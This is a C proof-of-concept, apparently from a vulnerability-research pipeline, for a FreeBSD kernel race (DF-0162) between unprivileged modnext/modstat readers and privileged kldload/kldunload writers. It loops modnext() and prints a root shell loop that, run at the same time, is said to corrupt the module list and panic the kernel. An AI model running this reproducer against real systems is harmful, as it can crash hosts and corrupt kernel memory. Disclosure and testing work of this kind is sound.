/* DF-0162 — module TAILQ race: unpriv modstat (mod_token) vs
 * privileged kldload/kldunload (kld_lock/llf_lock).
 *
 * The readers sys_modnext/modfnext/modstat/modfind all take mod_token
 * (kern_module.c:253,289,328,385) and walk `modules`.  The writers
 * module_register (:141 TAILQ_INSERT_TAIL) and module_release
 * (:178 TAILQ_REMOVE) mutate the SAME list but are guarded only by
 * kld_lock/llf_lock in their callers (kern_linker.c).  Lock domains
 * are disjoint, so a concurrent unpriv modstat vs privileged kldload/
 * kldunload can corrupt the TAILQ head/next pointers -> panic/UAF.
 *
 * This PoC exercises the unprivileged READER side (modstat loop).
 * The privileged WRITER side requires root (kldload/kldunload), so
 * the full race cannot be driven end-to-end from a single
 * unprivileged user -- the realism test documents this as a
 * "privileged concurrent operation" precondition.  We demonstrate
 * that the reader path is reachable from an unprivileged user and
 * runs concurrently; pairing it with a root-driven kldload/kldunload
 * loop reproduces the panic.
 */

#include <sys/types.h>
#include <sys/module.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>

static volatile sig_atomic_t stop;
static void on_alrm(int s){ stop = 1; }

int
main(int argc, char **argv)
{
    int seconds = argc > 1 ? atoi(argv[1]) : 5;
    if (seconds <= 0) seconds = 5;

    signal(SIGALRM, on_alrm);
    alarm(seconds);

    unsigned long n = 0;
    int modid = 0;
    while (!stop) {
        /* walk the module list via modnext -- this is the reader
           path that holds mod_token (kern_module.c:253). */
        if (modnext(modid) < 0)
            modid = 0;
        else
            modid = modnext(modid);
        n++;
    }
    printf("DF-0162: did %lu modnext() iterations in %d s (reader-side race surface)\n",
           n, seconds);
    printf("DF-0162: writer side (module_register/module_release at kern_module.c:141/178)\n"
           "        needs kld_lock/llf_lock -- privileged (kldload/kldunload). Run a\n"
           "        root-side `while true; do kldload ums; kldunload ums; done` loop\n"
           "        concurrently with this PoC to manifest the panic.\n");
    return 0;
}
